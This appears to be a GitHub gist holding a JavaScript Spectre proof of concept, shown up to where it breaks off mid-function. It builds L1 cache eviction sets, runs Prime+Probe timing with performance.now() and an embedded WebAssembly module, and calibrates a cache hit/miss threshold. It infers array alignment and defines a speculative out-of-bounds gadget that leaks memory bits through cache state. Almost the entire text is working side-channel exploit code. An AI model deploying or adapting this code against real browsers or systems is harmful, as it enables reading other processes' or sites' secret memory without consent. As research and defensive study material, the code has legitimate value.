Created
March 20, 2021 11:41
-
-
Save cgvwzq/13b5e0fc25e473407632c768f3f3aa93 to your computer and use it in GitHub Desktop.
_tsuro's spectrejs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| const PAGE_SZ = 4096; | |
| const CACHE_LINE_SZ = 64; | |
| const CACHE_LINES_PER_PAGE = PAGE_SZ/CACHE_LINE_SZ; | |
| const CACHE_WAYS = 8; | |
| const MEM_PAGES = 8192; | |
| const WASM = false; | |
| class Utils { | |
| sort(arr) { | |
| for (let i = 0; i < arr.length; i++) { | |
| for (let j = 0; j < arr.length-1; j++) { | |
| if (arr[j] > arr[j+1]) { | |
| const tmp = arr[j]; | |
| arr[j] = arr[j+1]; | |
| arr[j+1] = tmp; | |
| } | |
| } | |
| } | |
| return arr; | |
| } | |
| indexOfMin(arr) { | |
| let minValue = arr[0]; | |
| let minIndex = 0; | |
| for (let i = 0; i < arr.length; i++) { | |
| if (arr[i] < minValue) { | |
| minValue = arr[i]; | |
| minIndex = i; | |
| } | |
| } | |
| return minIndex; | |
| } | |
| mean(arr) { | |
| return arr.reduce((a,b) => a+b) / arr.length; | |
| } | |
| median(arr) { | |
| arr.sort((a,b) => a-b); | |
| return (arr.length % 2) ? arr[(arr.length / 2) | 0] : this.mean([arr[arr.length/2 - 1], arr[arr.length / 2]]); | |
| } | |
| mode(arr) { | |
| var counter = {}; | |
| var mode = []; | |
| var max = 0; | |
| for (var i in arr) { | |
| if (!(arr[i] in counter)) { | |
| counter[arr[i]] = 0; | |
| } | |
| counter[arr[i]]++; | |
| if (counter[arr[i]] == max) { | |
| mode.push(arr[i]); | |
| } else if (counter[arr[i]] > max) { | |
| max = counter[arr[i]]; | |
| mode = [arr[i]]; | |
| } | |
| } | |
| return mode; | |
| } | |
| variance(arr) { | |
| var x = this.mean(arr); | |
| return arr.reduce((pre, cur) => pre + ((cur - x)**2)) / (arr.length - 1); | |
| } | |
| std(arr) { | |
| return Math.sqrt(this.variance(arr)); | |
| } | |
| } | |
| const wasmBytes = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x1a, 0x02, 0x60, 0x01, 0x7f, 0x01, 0x7f, 0x60, 0x11, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x02, 0x22, 0x02, 0x03, 0x65, 0x6e, 0x76, 0x03, 0x6d, 0x65, 0x6d, 0x02, 0x01, 0x80, 0x40, 0x80, 0x40, 0x03, 0x65, 0x6e, 0x76, 0x0c, 0x70, 0x6c, 0x72, 0x75, 0x43, 0x61, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x03, 0x03, 0x02, 0x01, 0x01, 0x07, 0x2a, 0x02, 0x11, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x00, 0x01, 0x12, 0x6f, 0x73, 0x63, 0x69, 0x6c, 0x6c, 0x61, 0x74, 0x65, 0x54, 0x72, 0x65, 0x65, 0x50, 0x4c, 0x52, 0x55, 0x32, 0x00, 0x02, 0x0a, 0x99, 0x05, 0x02, 0xa0, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b, 0xf4, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b]); | |
| const sum = new Uint8Array([0]); | |
| const mem = new Uint8Array(new ArrayBuffer(MEM_PAGES * 64 * 1024)); | |
| const mom = new Uint32Array(mem.buffer); | |
| const view = new DataView(mem.buffer); | |
| class L1Timer { | |
| constructor(callback) { | |
| // Main buffer to extract eviction sets from. We assume it's page | |
| // aligned. All indexes/pointers are used to access this memory. | |
| // buffer | |
| this.mem = mem; | |
| // %DebugPrint(this.mem); | |
| // Number of pages in buffer | |
| this.memPages = Math.floor(this.mem.byteLength/PAGE_SZ); | |
| // copy-on-write | |
| for (let i = 0; i < this.mem.length; i += PAGE_SZ) { | |
| this.mem[(i+8)] = 1; | |
| } | |
| // Auxiliary structures | |
| this.usedPages = []; | |
| // Compute pair of eviction sets: | |
| // - clear is used to evict all previous content from the cache set | |
| // - probe is used for the real Prime+Probe | |
| // Q: Are associativty "clear" accesses enough? If they are all misses, | |
| // then yes; otherwise need more, see: | |
| // https://www.rw.cdl.uni-saarland.de/people/grund/private/papers/rts07-predictability.pdf | |
| this.clearSets = this._generateEvSets(); | |
| this.probeSets = this._generateEvSets(); | |
| // Callback is the function that modifies the cache footprint | |
| this.callback = callback; | |
| if (WASM) { | |
| // Create Wasm memory | |
| this.memory = new WebAssembly.Memory({ | |
| initial: MEM_PAGES, | |
| maximum: MEM_PAGES, | |
| }); | |
| this.memPages = Math.floor(8192*64*1024)/PAGE_SZ; | |
| // copy-on-write | |
| const wasmU82 = new Uint8Array(this.memory.buffer); | |
| for (let i = 0; i < wasmU82.length; i += PAGE_SZ) { | |
| wasmU82[i+8] = 1; | |
| } | |
| // Instantiate Wasm module | |
| this.wasm = new WebAssembly.Instance(new WebAssembly.Module(wasmBytes), { | |
| env: { | |
| mem: this.memory, | |
| plruCallback: callback | |
| } | |
| }); | |
| } | |
| // Warmup some functions | |
| this.timeCacheSet(0); | |
| for (let i = 0; i < 1000; i++) { | |
| this.callback(); | |
| if (!WASM) { | |
| this._probeJS(10, this.clearSets[0], this.probeSets[0]); | |
| } | |
| } | |
| } | |
| _oscillateTreePLRU(reps, clearSet, primeSet, probeSet) { | |
| let x = clearSet|0; | |
| let y = primeSet|0; | |
| let z = probeSet|0; | |
| // Clear cache set | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; // x == 0 | |
| // Prime cache set | |
| x = mom[y+x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; // x == 0 | |
| // Victim | |
| x = this.callback(x)|0; // x == 0 | |
| // Probe cache set using PLRU strategy (see _linkEvSetStrategy) | |
| // Repeat to augment the signal: all hits vs. 3/4th of misses | |
| while (reps > 0) { | |
| // probe | |
| // 0 1 2 4 | |
| x = mom[z+x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 3 5 6 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 7 0 1 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 2 3 5 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 6 7 0 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 1 2 3 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 5 6 7 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; // x == probeSet+1 | |
| // twice | |
| // 0 1 2 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 3 5 6 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 7 0 1 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 2 3 5 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 6 7 0 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 1 2 3 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| // 5 6 7 4 | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; | |
| x = mom[x]|0; // x == probeSet+1 | |
| // | |
| reps -= 3; | |
| } | |
| return x; | |
| } | |
| // Probe cache sets with JavaScript using linked list eviction set | |
| _probeJS(reps, clearSet, probeSet) { | |
| const start = performance.now();//Date.now(0); | |
| let x = this._oscillateTreePLRU(4000, clearSet[0]/4, probeSet[0]/4, probeSet[0]/4+1, start); | |
| const end = performance.now(x);//Date.now(x); | |
| return end - start; | |
| } | |
| // Indirect eviction set works in Wasm because pointers are passed | |
| // in registers. There's no double deref on each access. | |
| _probeWasm(reps, clearSet, probeSet) { | |
| const start = performance.now(); | |
| this.wasm.exports.oscillateTreePLRU2(4000, | |
| probeSet[0], | |
| probeSet[1], | |
| probeSet[2], | |
| probeSet[3], | |
| probeSet[4], | |
| probeSet[5], | |
| probeSet[6], | |
| probeSet[7], | |
| clearSet[0], | |
| clearSet[1], | |
| clearSet[2], | |
| clearSet[3], | |
| clearSet[4], | |
| clearSet[5], | |
| clearSet[6], | |
| clearSet[7] | |
| ); | |
| const end = performance.now(); | |
| return end-start; | |
| } | |
| // Measure probing time | |
| _primeAndProbeL1(clearSet, probeSet) { | |
| // do something | |
| if (WASM) { | |
| return this._probeWasm(4000, clearSet, probeSet); | |
| } else { | |
| return this._probeJS(4000, clearSet, probeSet); | |
| } | |
| } | |
| // Return page aligned pointer to random page index inside main buffer | |
| _randomPage() { | |
| let rnd = 0; | |
| do { | |
| rnd = Math.floor(Math.random() * this.memPages); | |
| } while (this.usedPages.indexOf(rnd) > -1); | |
| this.usedPages.push(rnd); | |
| return PAGE_SZ * rnd; | |
| } | |
| // Generate L1 eviction sets: sets of addresses that are mapped into | |
| // the same cache set (i.e., have same bits[11:6]) | |
| _generateEvSets() { | |
| const evSets = new Array(CACHE_LINES_PER_PAGE); // 4096/64=64 lines per page | |
| for (let i = 0; i < evSets.length; i++) { | |
| evSets[i] = new Array(CACHE_WAYS); // L1 8-ways | |
| } | |
| // Pick random pages for evSet index = 0 | |
| for (let i = 0; i < evSets[0].length; i++) { | |
| evSets[0][i] = this._randomPage(); | |
| } | |
| // Rest of evSets are just relative to first random page | |
| // because of linear indexing (again, set == bits[11:6]). | |
| for (let i = 1; i < evSets.length; i++) { | |
| for (let j = 0; j < evSets[i].length; j++) { | |
| // Each element in the evSet array is a pointer to the | |
| // real address that is part of the eviction set | |
| evSets[i][j] = evSets[0][j]+i*CACHE_LINE_SZ; | |
| } | |
| } | |
| return evSets; | |
| } | |
| // Prepare a linked list in main memory from the evSet array | |
| // of pointers. Only expected to work from JS accessing Uint32Array, | |
| // not from Wasm (we divide by 4). | |
| _linkEvSet(evSet) { | |
| // We need 32bit to access the pointers | |
| const view = new Uint32Array(this.mem.buffer); | |
| for (let i = 0; i < evSet.length - 1; i++) { | |
| view[evSet[i]/4] = evSet[i+1]/4; | |
| } | |
| view[evSet[evSet.length-1]/4] = 0; | |
| } | |
| // Prepare a linked list that performs PLRU strategy. | |
| // A 64-bytes cache line has capacity for 16 32-bit pointers. | |
| // A_n refers to line A pointer n. | |
| // | |
| // 0_0 -> 1_0 -> 2_0 -> 4_0 -> | |
| // 3_0 -> 5_0 -> 6_0 -> 4_1 -> | |
| // 7_0 -> 0_1 -> 1_1 -> 4_2 -> | |
| // 2_1 -> 3_1 -> 5_1 -> 4_3 -> | |
| // 6_1 -> 7_1 -> 0_2 -> 4_4 -> | |
| // 1_2 -> 2_2 -> 3_2 -> 4_5 -> | |
| // 5_2 -> 6_2 -> 7_2 -> 4_6 -> 0_0 | |
| _linkEvSetStrategy(evSet) { | |
| const view = new Uint32Array(this.mem.buffer); | |
| // Start at pointer 1 because of normal _linkEvSet | |
| let count = 0; | |
| let four = 1; | |
| let prev = 0; | |
| // After each cycle increment offset n | |
| for (let n = 1; n < 4; n++) { | |
| prev = (evSet[0]/4) + n; | |
| // console.log('0', n, evSet[0]/4 +n); | |
| count += 1; | |
| for (let i = 1; i < evSet.length; i++) { | |
| if (i == 4) continue; | |
| if ((count % 3) == 0) { | |
| // console.log('4', four, prev, '->', (evSet[4]/4)+four); | |
| // Point previous to 4, increment 4's offet, skip 4 | |
| prev = view[prev] = (evSet[4]/4)+four; | |
| four += 1; | |
| } | |
| // console.log(i, n, prev, '->', evSet[i]/4+n); | |
| // Point previous to next | |
| prev = view[prev] = (evSet[i]/4)+n; | |
| count += 1; | |
| } | |
| // point 7 to next 0 | |
| view[prev] = (evSet[0]/4) + n + 1; | |
| } | |
| // Close cycle | |
| prev = view[prev] = (evSet[4]/4)+four; | |
| view[prev] = (evSet[0]/4)+1; | |
| } | |
| // Return time of Prime+Probe on specific cache set | |
| timeCacheSet(cacheSetIndex) { | |
| const clearSet = this.clearSets[cacheSetIndex]; | |
| this._linkEvSet(clearSet); | |
| const probeSet = this.probeSets[cacheSetIndex]; | |
| this._linkEvSet(probeSet); | |
| this._linkEvSetStrategy(probeSet); | |
| return this._primeAndProbeL1(clearSet, probeSet); | |
| } | |
| timeCacheSetMultiple(cacheSetIndex, n) { | |
| const clearSet = this.clearSets[cacheSetIndex]; | |
| this._linkEvSet(clearSet); | |
| const probeSet = this.probeSets[cacheSetIndex]; | |
| this._linkEvSet(probeSet); | |
| this._linkEvSetStrategy(probeSet); | |
| const timing = []; | |
| for (let i=0; i<n; i++) { | |
| timing.push(this._primeAndProbeL1(clearSet, probeSet)); | |
| } | |
| return new Utils().mean(timing); | |
| } | |
| } | |
| // ToDo: do not rely on aligned memory | |
| const alignedMemory = new Uint8Array(new WebAssembly.Memory({ | |
| initial:1, | |
| maximum:1 | |
| }).buffer); | |
| alignedMemory[8] = 1; | |
| function calibrate(){ | |
| // Victim function: access accessArgs pointer in victim buffer (not main buffer) | |
| // trash only used to create virtual data dependency | |
| const accessArgs = new Uint32Array([0]); | |
| function accessPage(trash) { | |
| const pageOffset = accessArgs[0]|0; | |
| return alignedMemory[pageOffset+trash*0]; | |
| } | |
| // Start profiling | |
| const utils = new Utils(); | |
| const benchmark = new L1Timer(accessPage); | |
| // Measure Prime+Probe time for all sets, we want to identify a fast one that | |
| // is not affected by side-accesses caused by accessPage() | |
| const cacheSetTimings = new Array(CACHE_LINES_PER_PAGE); | |
| for (let set = 0; set < CACHE_LINES_PER_PAGE; set ++) { | |
| cacheSetTimings[set] = benchmark.timeCacheSet(set); | |
| } const fastSet = utils.indexOfMin(cacheSetTimings); | |
| console.log('Fastest set: ' + fastSet); | |
| const testReps = 60; | |
| const hits = new Array(testReps); | |
| const misses = new Array(testReps); | |
| // Offset that touches the fastSet set, will actually produce misses | |
| const hitOffset = fastSet*CACHE_LINE_SZ; | |
| // Offset far away form fastSet, will actually produce hits | |
| const missOffset = (hitOffset + PAGE_SZ/2) % PAGE_SZ; | |
| // Run tests | |
| /* | |
| accessArgs[0] = hitOffset; | |
| const hitsMean = benchmark.timeCacheSetMultiple(fastSet, testReps); | |
| accessArgs[0] = missOffset; | |
| const missMean = benchmark.timeCacheSetMultiple(fastSet, testReps); | |
| */ | |
| for (let i = 0; i < testReps; i++) { | |
| accessArgs[0] = hitOffset; | |
| hits[i] = benchmark.timeCacheSet(fastSet); | |
| accessArgs[0] = missOffset | |
| misses[i] = benchmark.timeCacheSet(fastSet); | |
| } | |
| // Analyse results to extract threshold | |
| let cacheHits = utils.sort(hits); | |
| let cacheMisses = utils.sort(misses); | |
| // Discard outliers | |
| cacheHits = cacheHits.slice(0, Math.floor(cacheHits.length*0.98)); | |
| cacheMisses = cacheMisses.slice(0, Math.floor(cacheMisses.length*0.98)); | |
| // Get stats | |
| const hitsMedian = utils.median(cacheHits); | |
| const missMedian = utils.median(cacheMisses); | |
| const hitsMean = utils.mean(cacheHits); | |
| const missMean = utils.mean(cacheMisses); | |
| const hitsMode = utils.mode(cacheHits); | |
| const missMode = utils.mode(cacheMisses); | |
| const hitsStd = utils.std(cacheHits); | |
| const missStd = utils.std(cacheMisses); | |
| console.log('Hit:', 'mean='+hitsMean, 'median='+hitsMedian, 'mode='+hitsMode, 'std='+hitsStd); | |
| console.log('Miss:', 'mean='+missMean, 'median='+missMedian, 'mode='+missMode, 'std='+missStd); | |
| console.log(hitsMean, missMean); | |
| if (hitsMean > missMean) { | |
| const threshold = missMean + ((hitsMean - missMean)/2); | |
| console.log('threshold: ' + threshold); | |
| return threshold; | |
| } else { | |
| console.log('meh'); | |
| } | |
| } | |
| const threshold = calibrate(); | |
| if (!threshold) quit(); | |
| quit(); | |
| function triggerGC() { | |
| for (let i = 0; i < 50; i++) { | |
| new ArrayBuffer(1024*1024); | |
| } | |
| } | |
| const typedArrays = new Array(64); | |
| typedArrays.fill(Object); | |
| triggerGC(); | |
| // TODO: this can be a prefilled array | |
| const leakMe = []; | |
| for (let i = 0; i < 554; i++) { | |
| leakMe[i] = 0; | |
| } | |
| triggerGC(); | |
| for (let i = 0; i < typedArrays.length; i++) { | |
| typedArrays[i] = new Uint8Array(0x20); | |
| triggerGC(); | |
| } | |
| triggerGC(); | |
| const accessLeakMeArgs = new Uint32Array([0]); | |
| function accessLeakMe(trash) { | |
| const offset = accessLeakMeArgs[0] | 0; | |
| return leakMe[offset+trash]; | |
| } | |
| const leakMeTimer = new L1Timer(accessLeakMe); | |
| function leakMeTestSet(offset, set) { | |
| //let tests = new Array(testReps); | |
| accessLeakMeArgs[0] = offset; | |
| /* | |
| for (let i = 0; i < testReps; i++) { | |
| tests[i] = leakMeTimer.timeCacheSet(set); | |
| } | |
| let mean = new Utils().mean(tests); | |
| */ | |
| let mean = leakMeTimer.timeCacheSetMultiple(set, testReps); | |
| return mean > threshold; | |
| } | |
| const elementSize = 4; | |
| const elementsPerCacheLine = CACHE_LINE_SZ/elementSize; | |
| const testElementCount = 48; | |
| const testReps = 60; | |
| const cacheHits = new Array(testElementCount); | |
| for (let i = 0; i < cacheHits.length; i++) { | |
| cacheHits[i] = new Array(CACHE_LINES_PER_PAGE); | |
| for (let j = 0; j < cacheHits[i].length; j++) { | |
| cacheHits[i][j] = 0; | |
| } | |
| } | |
| for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) { | |
| console.log(set); | |
| for (let elementIndex = 0; elementIndex < testElementCount; elementIndex++) { | |
| if (leakMeTestSet(elementIndex, set)) { | |
| cacheHits[elementIndex][set] += 1; | |
| } | |
| } | |
| } | |
| function previousCacheSet(cacheSet) { | |
| return (CACHE_LINES_PER_PAGE+cacheSet-1) % CACHE_LINES_PER_PAGE; | |
| } | |
| // Find all clear transitions from one cache set to the next. | |
| // I.e. it should look like: | |
| // hit | miss | |
| // -----+----- | |
| // miss | hit | |
| function* findTransitions() { | |
| let offset = elementsPerCacheLine; | |
| // need at least 16 elements to the bottom | |
| while (offset <= cacheHits.length - elementsPerCacheLine) { | |
| for (let cacheSet = 0; cacheSet < CACHE_LINES_PER_PAGE; cacheSet++) { | |
| const prevCacheSet = previousCacheSet(cacheSet); | |
| if (cacheHits[offset][cacheSet] != testReps) continue; | |
| if (cacheHits[offset-1][prevCacheSet] != testReps) continue; | |
| if (cacheHits[offset-1][cacheSet] != 0) continue; | |
| if (cacheHits[offset][prevCacheSet] != 0) continue; | |
| yield [offset, cacheSet]; | |
| } | |
| offset++; | |
| } | |
| } | |
| // The algorithm is very simple, try to find runs of cache set hit that | |
| // transition from one cache set to the next. I.e. if we iterate over the array | |
| // elements, we expect 16 hits on cacheSet n, followed by 16 hits on n+1. | |
| function inferCacheAlignment(falsePositiveThreshold, falseNegativeThreshold) { | |
| for (const [transitionOffset, transitionCacheSet] of findTransitions()) { | |
| const prevCacheSet = previousCacheSet(transitionCacheSet); | |
| const startOffset = transitionOffset - elementsPerCacheLine; | |
| const maxHitCount = 2 * elementsPerCacheLine * testReps; | |
| let hitCount = 0; | |
| let wrongHitCount = 0; | |
| for (let i = 0; i < elementsPerCacheLine; i++) { | |
| hitCount += cacheHits[startOffset+i][prevCacheSet]; | |
| hitCount += cacheHits[transitionOffset+i][transitionCacheSet]; | |
| wrongHitCount += cacheHits[startOffset+i][transitionCacheSet]; | |
| wrongHitCount += cacheHits[transitionOffset+i][prevCacheSet]; | |
| } | |
| if (hitCount/maxHitCount >= (1-falseNegativeThreshold) | |
| && wrongHitCount/maxHitCount < falsePositiveThreshold) { | |
| return [true, startOffset, prevCacheSet]; | |
| } | |
| } | |
| return [false, -1, -1]; | |
| } | |
| const [leakSuccess, alignedIndex, inferredCacheSet] = inferCacheAlignment(0.20, 0.05); | |
| console.log(leakSuccess, alignedIndex, inferredCacheSet); | |
| // Spectre stuff | |
| const kEndMarker = 0xffffffff; | |
| const kWasmPageSize = 64*1024; | |
| class EvictionList { | |
| constructor(initialSize, offset) { | |
| const memorySize = initialSize*PAGE_SZ; | |
| this.memory = new DataView(new WebAssembly.Memory({initial: Math.ceil(memorySize/kWasmPageSize)}).buffer); | |
| this.head = offset; | |
| for (let i = 0; i < initialSize-1; i++) { | |
| this.memory.setUint32(i*PAGE_SZ+offset, (i+1)*PAGE_SZ+offset, true); | |
| } | |
| this.tail = (initialSize-1)*PAGE_SZ+offset; | |
| this.memory.setUint32(this.tail, kEndMarker, true); | |
| this.length = initialSize; | |
| } | |
| traverse() { | |
| let e = this.head; | |
| while (e != kEndMarker) { | |
| e = this.memory.getUint32(e, true); | |
| } | |
| return e; | |
| } | |
| } | |
| const ERR_MEM_LAYOUT = 0; | |
| const ERR_U8_ALIGN = 1; | |
| const ERR_NO_41 = 2; | |
| function sleep(ms) { | |
| return new Promise(r=>setTimeout(r, ms)); | |
| } | |
| function alignedArrayBuffer(sz) { | |
| const wasm_pages = Math.ceil(sz/(64*1024)); | |
| return new WebAssembly.Memory({initial: wasm_pages, maximum: wasm_pages}).buffer | |
| } | |
| const probeArray = new Uint8Array(alignedArrayBuffer(PAGE_SZ)); | |
| probeArray[0] = 1; | |
| const spectreArgs = new Uint32Array([0, 0, 0]); | |
| function spectreGadget(trash) { | |
| // We want to access as little memory as possible to avoid false positives. | |
| // Putting arguments in a global array seems to work better than passing them | |
| // as parameters. | |
| const idx = spectreArgs[0]|0; | |
| const bit = spectreArgs[1]|0; | |
| const waaaaaat = spectreArgs[2]|0; | |
| // Add a loop to control the state of the branch predictor | |
| // I.e. we want the last n branches taken/not taken to be consistent | |
| for (let i = 0; i < 200; i++); | |
| // idx will be out of bounds during speculation | |
| // if the bit is zero, we access cache line 0 of the probe array otherwise | |
| // 0x800 (cache line 32) | |
| return probeArray[idx < spectreArray.length ? ((spectreArray[idx]>>bit)&1)*0x800 : 0x400]; | |
| } | |
| function testBit(evictionList, offset, bit, bitValue, noopt = true) { | |
